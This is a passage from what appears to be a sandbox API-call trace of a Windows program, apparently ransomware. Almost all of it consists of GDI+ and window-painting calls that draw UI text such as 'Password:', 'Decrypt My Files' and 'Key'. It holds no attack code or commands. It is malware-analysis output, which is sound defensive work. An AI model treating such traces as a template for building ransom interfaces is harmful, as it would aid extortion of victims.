hWnd=0x10252, lpString=0x19e86c, nMaxCount=10 | out: lpString="Password:") returned 9 [0176.108] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0176.108] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.108] GetCurrentObject (hdc=0x20010749, type=0x1) returned 0xb00017 [0176.108] GetCurrentObject (hdc=0x20010749, type=0x2) returned 0x900010 [0176.108] GetCurrentObject (hdc=0x20010749, type=0x7) returned 0x8050721 [0176.109] GetCurrentObject (hdc=0x20010749, type=0x6) returned 0x8a01c2 [0176.109] SaveDC (hdc=0x20010749) returned 1 [0176.109] GetNearestColor (hdc=0x20010749, color=0xf0f0f0) returned 0xf0f0f0 [0176.109] RestoreDC (hdc=0x20010749, nSavedDC=-1) returned 1 [0176.109] GdipReleaseDC (graphics=0x6926780, hdc=0x20010749) returned 0x0 [0176.109] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0176.109] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0176.109] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.109] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.109] GetCurrentObject (hdc=0x20010749, type=0x1) returned 0xb00017 [0176.110] GetCurrentObject (hdc=0x20010749, type=0x2) returned 0x900010 [0176.110] GetCurrentObject (hdc=0x20010749, type=0x7) returned 0x8050721 [0176.110] GetCurrentObject (hdc=0x20010749, type=0x6) returned 0x8a01c2 [0176.110] SaveDC (hdc=0x20010749) returned 1 [0176.166] GetTextAlign (hdc=0x20010749) returned 0x0 [0176.167] GetTextColor (hdc=0x20010749) returned 0x0 [0176.167] SetTextColor (hdc=0x20010749, color=0xf0f0f0) returned 0x0 [0176.167] GetCurrentObject (hdc=0x20010749, type=0x6) returned 0x8a01c2 [0176.167] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.167] SelectObject (hdc=0x20010749, h=0x240a0712) returned 0x8a01c2 [0176.167] GetBkMode (hdc=0x20010749) returned 2 [0176.167] SetBkMode (hdc=0x20010749, mode=1) returned 2 [0176.167] DrawTextExW (in: hdc=0x20010749, lpchText="Password:", cchText=9, lprc=0x19e708, format=0x100000, lpdtp=0x30835c4 | out: lpchText="Password:", lprc=0x19e708) returned 63 [0176.168] RestoreDC (hdc=0x20010749, nSavedDC=-1) returned 1 [0176.168] GdipReleaseDC (graphics=0x6926780, hdc=0x20010749) returned 0x0 [0176.168] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.168] BitBlt (hdc=0x60100ce, x=0, y=0, cx=251, cy=63, hdcSrc=0x20010749, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.168] GdipReleaseDC (graphics=0x6926780, hdc=0x20010749) returned 0x0 [0176.168] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.168] SelectObject (hdc=0x20010749, h=0x85000f) returned 0x8050721 [0176.168] DeleteDC (hdc=0x20010749) returned 1 [0176.168] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.168] EndPaint (hWnd=0x10252, lpPaint=0x19e8c8) returned 1 [0176.168] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.169] IsWindowUnicode (hWnd=0x10254) returned 1 [0176.169] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.169] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.169] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.169] BeginPaint (in: hWnd=0x10254, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1b010670 [0176.169] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.169] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0176.169] GetStockObject (i=5) returned 0x900015 [0176.169] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.169] CreateCompatibleDC (hdc=0x1b010670) returned 0x23010749 [0176.169] SelectObject (hdc=0x23010749, h=0x8050721) returned 0x85000f [0176.169] GdipCreateFromHDC (hdc=0x23010749, graphics=0x19e8d8) returned 0x0 [0176.170] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.170] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=467, height=42, combineMode=0x0) returned 0x0 [0176.170] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0176.170] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0176.170] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e938) returned 0x0 [0176.170] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.170] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75be8) returned 0x0 [0176.170] LocalFree (hMem=0xf75be8) returned 0x0 [0176.170] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0176.170] GdipCreateRegion (region=0x19e920) returned 0x0 [0176.170] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.170] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e92c) returned 0x0 [0176.170] GdipSaveGraphics (graphics=0x6926780, state=0x19e958) returned 0x0 [0176.170] GdipRestoreGraphics (graphics=0x6926780, state=0xfcee0dbd) returned 0x0 [0176.170] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.170] GdipGetDC (graphics=0x6926780, hdc=0x19e660) returned 0x0 [0176.170] GetCurrentObject (hdc=0x23010749, type=0x1) returned 0xb00017 [0176.170] GetCurrentObject (hdc=0x23010749, type=0x2) returned 0x900010 [0176.171] GetCurrentObject (hdc=0x23010749, type=0x7) returned 0x8050721 [0176.171] GetCurrentObject (hdc=0x23010749, type=0x6) returned 0x8a01c2 [0176.171] SaveDC (hdc=0x23010749) returned 1 [0176.171] GetNearestColor (hdc=0x23010749, color=0x323533) returned 0x323533 [0176.171] GetNearestColor (hdc=0x23010749, color=0x111111) returned 0x111111 [0176.171] GetNearestColor (hdc=0x23010749, color=0x0) returned 0x0 [0176.171] GetNearestColor (hdc=0x23010749, color=0x868c88) returned 0x868c88 [0176.171] GetNearestColor (hdc=0x23010749, color=0x111111) returned 0x111111 [0176.171] GetNearestColor (hdc=0x23010749, color=0x969c98) returned 0x969c98 [0176.171] GetNearestColor (hdc=0x23010749, color=0x868c88) returned 0x868c88 [0176.171] GetNearestColor (hdc=0x23010749, color=0x3c3f3d) returned 0x3c3f3d [0176.171] GetNearestColor (hdc=0x23010749, color=0xc4c4c4) returned 0xc4c4c4 [0176.171] RestoreDC (hdc=0x23010749, nSavedDC=-1) returned 1 [0176.171] GdipReleaseDC (graphics=0x6926780, hdc=0x23010749) returned 0x0 [0176.172] SelectObject (hdc=0x8e0106dd, h=0xc0a0739) returned 0x4f0a0711 [0176.172] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Decrypt My Files", cchText=16, lprc=0x19e51c, format=0x102415, lpdtp=0x3083a9c | out: lpchText="Decrypt My Files", lprc=0x19e51c) returned 28 [0176.172] GdipCreateRegion (region=0x19e5a4) returned 0x0 [0176.172] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.172] GdipCreateMatrix (matrix=0x19e5a4) returned 0x0 [0176.172] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.172] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e5bc) returned 0x0 [0176.172] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.172] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.176] LocalFree (hMem=0xf75c20) returned 0x0 [0176.176] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.176] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.176] LocalFree (hMem=0xf75c20) returned 0x0 [0176.176] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.176] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e5e4) returned 0x0 [0176.176] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e5d4) returned 0x0 [0176.176] GdipGetRegionHRgn (region=0x6923a20, graphics=0x6926780, hRgn=0x19e5d4) returned 0x0 [0176.176] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.176] GdipGetDC (graphics=0x6926780, hdc=0x19e5ec) returned 0x0 [0176.176] GetCurrentObject (hdc=0x23010749, type=0x1) returned 0xb00017 [0176.176] GetCurrentObject (hdc=0x23010749, type=0x2) returned 0x900010 [0176.176] GetCurrentObject (hdc=0x23010749, type=0x7) returned 0x8050721 [0176.176] GetCurrentObject (hdc=0x23010749, type=0x6) returned 0x8a01c2 [0176.176] SaveDC (hdc=0x23010749) returned 1 [0176.176] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xa90406f7 [0176.176] GetClipRgn (hdc=0x23010749, hrgn=0xa90406f7) returned 0 [0176.177] SelectClipRgn (hdc=0x23010749, hrgn=0x4304070e) returned 2 [0176.177] DeleteObject (ho=0xa90406f7) returned 1 [0176.177] DeleteObject (ho=0x4304070e) returned 1 [0176.177] OffsetViewportOrgEx (in: hdc=0x23010749, x=0, y=0, lppt=0x3083c8c | out: lppt=0x3083c8c) returned 1 [0176.177] GetNearestColor (hdc=0x23010749, color=0x323533) returned 0x323533 [0176.177] CreateSolidBrush (color=0x323533) returned 0x5710073a [0176.177] FillRect (hDC=0x23010749, lprc=0x19e5f0, hbr=0x5710073a) returned 1 [0176.177] DeleteObject (ho=0x5710073a) returned 1 [0176.177] RestoreDC (hdc=0x23010749, nSavedDC=-1) returned 1 [0176.177] GdipReleaseDC (graphics=0x6926780, hdc=0x23010749) returned 0x0 [0176.177] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e668) returned 0x0 [0176.177] GdipGetDC (graphics=0x6926780, hdc=0x19e654) returned 0x0 [0176.177] GetCurrentObject (hdc=0x23010749, type=0x1) returned 0xb00017 [0176.177] GetCurrentObject (hdc=0x23010749, type=0x2) returned 0x900010 [0176.177] GetCurrentObject (hdc=0x23010749, type=0x7) returned 0x8050721 [0176.177] GetCurrentObject (hdc=0x23010749, type=0x6) returned 0x8a01c2 [0176.177] SaveDC (hdc=0x23010749) returned 1 [0176.178] GetTextAlign (hdc=0x23010749) returned 0x0 [0176.178] GetTextColor (hdc=0x23010749) returned 0x0 [0176.178] SetTextColor (hdc=0x23010749, color=0x111111) returned 0x0 [0176.178] GetCurrentObject (hdc=0x23010749, type=0x6) returned 0x8a01c2 [0176.178] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e39c | out: pv=0x19e39c) returned 92 [0176.178] SelectObject (hdc=0x23010749, h=0xc0a0739) returned 0x8a01c2 [0176.178] GetBkMode (hdc=0x23010749) returned 2 [0176.178] SetBkMode (hdc=0x23010749, mode=1) returned 2 [0176.178] DrawTextExW (in: hdc=0x23010749, lpchText="Decrypt My Files", cchText=16, lprc=0x19e484, format=0x102415, lpdtp=0x3083f48 | out: lpchText="Decrypt My Files", lprc=0x19e484) returned 28 [0176.179] DrawTextExW (in: hdc=0x23010749, lpchText="Decrypt My Files", cchText=16, lprc=0x19e5e8, format=0x102015, lpdtp=0x3083f48 | out: lpchText="Decrypt My Files", lprc=0x19e5e8) returned 28 [0176.179] RestoreDC (hdc=0x23010749, nSavedDC=-1) returned 1 [0176.179] GdipReleaseDC (graphics=0x6926780, hdc=0x23010749) returned 0x0 [0176.179] GetFocus () returned 0x0 [0176.179] GdipCreatePen1 (color=0xff007acc, width=0x3f800000, unit=0x0, pen=0x19e6d0) returned 0x0 [0176.179] GdipDrawRectangleI (graphics=0x6926780, pen=0x6915e78, x=0, y=0, width=466, height=41) returned 0x0 [0176.179] GdipDeletePen (pen=0x6915e78) returned 0x0 [0176.179] GdipGetDC (graphics=0x6926780, hdc=0x19e918) returned 0x0 [0176.179] BitBlt (hdc=0x1b010670, x=0, y=0, cx=467, cy=42, hdcSrc=0x23010749, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.180] GdipReleaseDC (graphics=0x6926780, hdc=0x23010749) returned 0x0 [0176.180] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.180] SelectObject (hdc=0x23010749, h=0x85000f) returned 0x8050721 [0176.180] DeleteDC (hdc=0x23010749) returned 1 [0176.180] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.180] EndPaint (hWnd=0x10254, lpPaint=0x19e8bc) returned 1 [0176.180] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.180] IsWindowUnicode (hWnd=0x10256) returned 1 [0176.180] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.180] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.180] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.180] BeginPaint (in: hWnd=0x10256, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x1e0106e1 [0176.181] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.181] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.181] GetWindowTextW (in: hWnd=0x10256, lpString=0x19e888, nMaxCount=4 | out: lpString="Key") returned 3 [0176.181] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xd, wParam=0x4, lParam=0x19e888) returned 0x3 [0176.181] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.182] EndPaint (hWnd=0x10256, lpPaint=0x19e8e4) returned 1 [0176.182] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.182] IsWindowUnicode (hWnd=0x10258) returned 1 [0176.182] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.182] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.182] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.182] BeginPaint (in: hWnd=0x10258, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0176.182] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10258, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.183] EndPaint (hWnd=0x10258, lpPaint=0x19e8c8) returned 1 [0176.183] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.183] IsWindowUnicode (hWnd=0x1025a) returned 1 [0176.183] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.183] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.183] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.183] BeginPaint (in: hWnd=0x1025a, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x1e0106e1 [0176.183] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.183] EndPaint (hWnd=0x1025a, lpPaint=0x19e904) returned 1 [0176.184] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.184] IsWindowUnicode (hWnd=0x1025c) returned 1 [0176.184] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.184] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.184] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.184] BeginPaint (in: hWnd=0x1025c, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x1b010670 [0176.184] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.184] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.184] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.185] EndPaint (hWnd=0x1025c, lpPaint=0x19e8f8) returned 1 [0176.185] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.185] IsWindowUnicode (hWnd=0x1025e) returned 1 [0176.185] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.185] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.185] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0176.185] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0176.185] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.185] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.186] IsWindowUnicode (hWnd=0x10260) returned 1 [0176.186] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.186] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.186] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.186] BeginPaint (in: hWnd=0x10260, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0176.186] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10260, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.186] EndPaint (hWnd=0x10260, lpPaint=0x19e8c8) returned 1 [0176.186] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.186] IsWindowUnicode (hWnd=0x10262) returned 1 [0176.186] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.186] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.186] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.187] BeginPaint (in: hWnd=0x10262, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1e0106e1 [0176.187] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.187] EndPaint (hWnd=0x10262, lpPaint=0x19e8bc) returned 1 [0176.187] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.187] IsWindowUnicode (hWnd=0x10264) returned 1 [0176.187] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.187] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.187] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.187] BeginPaint (in: hWnd=0x10264, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x1b010670 [0176.187] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.188] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.188] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.188] EndPaint (hWnd=0x10264, lpPaint=0x19e8e4) returned 1 [0176.188] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.189] IsWindowUnicode (hWnd=0x10266) returned 1 [0176.189] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.189] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.189] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.189] BeginPaint (in: hWnd=0x10266, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0176.189] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10266, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.189] EndPaint (hWnd=0x10266, lpPaint=0x19e8c8) returned 1 [0176.189] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.189] IsWindowUnicode (hWnd=0x10268) returned 1 [0176.190] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.190] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.190] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.190] BeginPaint (in: hWnd=0x10268, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x1b010670 [0176.190] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10268, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.190] EndPaint (hWnd=0x10268, lpPaint=0x19e904) returned 1 [0176.190] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.190] IsWindowUnicode (hWnd=0x1026a) returned 1 [0176.190] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.190] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.190] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.190] BeginPaint (in: hWnd=0x1026a, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x1e0106e1 [0176.191] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.191] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.191] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.191] EndPaint (hWnd=0x1026a, lpPaint=0x19e8f8) returned 1 [0176.191] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.191] IsWindowUnicode (hWnd=0x1026c) returned 1 [0176.191] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.191] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.191] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0176.192] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0176.192] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.192] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.192] IsWindowUnicode (hWnd=0x1026e) returned 1 [0176.192] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.192] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.192] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.192] BeginPaint (in: hWnd=0x1026e, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0176.192] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1026e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.193] EndPaint (hWnd=0x1026e, lpPaint=0x19e8c8) returned 1 [0176.193] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.193] IsWindowUnicode (hWnd=0x10270) returned 1 [0176.193] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.193] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.193] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.193] BeginPaint (in: hWnd=0x10270, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1b010670 [0176.193] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10270, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.193] EndPaint (hWnd=0x10270, lpPaint=0x19e8bc) returned 1 [0176.194] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.194] IsWindowUnicode (hWnd=0x10272) returned 1 [0176.194] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.194] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.194] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.194] BeginPaint (in: hWnd=0x10272, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x1e0106e1 [0176.194] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.194] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.194] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.194] EndPaint (hWnd=0x10272, lpPaint=0x19e8e4) returned 1 [0176.195] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.195] IsWindowUnicode (hWnd=0x10274) returned 1 [0176.195] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.195] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.195] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.195] BeginPaint (in: hWnd=0x10274, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0176.195] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10274, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.195] EndPaint (hWnd=0x10274, lpPaint=0x19e8c8) returned 1 [0176.195] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.195] IsWindowUnicode (hWnd=0x10276) returned 1 [0176.195] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, 